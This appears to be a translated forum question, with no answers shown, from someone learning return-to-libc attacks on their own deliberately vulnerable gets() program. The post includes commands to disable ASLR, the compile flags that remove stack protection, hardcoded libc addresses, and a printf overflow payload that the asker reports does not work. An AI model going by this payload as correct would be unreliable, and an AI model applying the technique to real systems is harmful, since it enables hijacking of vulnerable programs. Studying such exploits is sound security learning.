0

我想了解返回 libc 攻击的工作原理,所以我编写了一个易受攻击的程序,以便可以将函数的返回地址更改为system(). 但是,该程序似乎没有调用system()并干净地退出。

先决条件

-我正在使用 Debain Squeeze

-我禁用了地址随机化:

echo 0 > /proc/sys/kernel/randomize_va_space

易受攻击的代码

#include <stdio.h>

void someFunc(void);

void someFunc(void){
    char buffer[64];

    gets(buffer);
    //puts(buffer);
}

int main(int argc, char **argv)
{
    someFunc();
    return 0;
}

代码编译为:

gcc -fno-stack-protector -ggdb -o vuln vuln.c

使用 GDB,我断言:

  1. /bin/zsh是 @0xbffff9b9
  2. system()是 @0xb7ed0000
  3. exit()是 @0xb7ec60f0

开发

72我通过在0、exit、system 和指向的指针/bin/zsh中按顺序使用它来利用它:

printf "%072x\xf0\x60\xec\xb7\x00\x00\xed\xb7\xb9\xf9\xff\xbf" | ./vuln

该程序没有段错误或执行/bin/zsh

在 GDB 中

有趣的是,如果我更改SHELL="/xin/zsh"并在 gdb 中执行它,系统调用将起作用:

Cannot exec /xin/zsh

所以我的问题是:

  1. 我是否正确理解了回归 libc 攻击的概念?

  2. 我是否以正确的方式和顺序传递恶意代码?

  3. 为什么它似乎在 GDB 中有效,但在 shell 中无效?
    (我已经读过return to libc 在 gdb 中工作,但在单独运行时没有

4

0 回答 0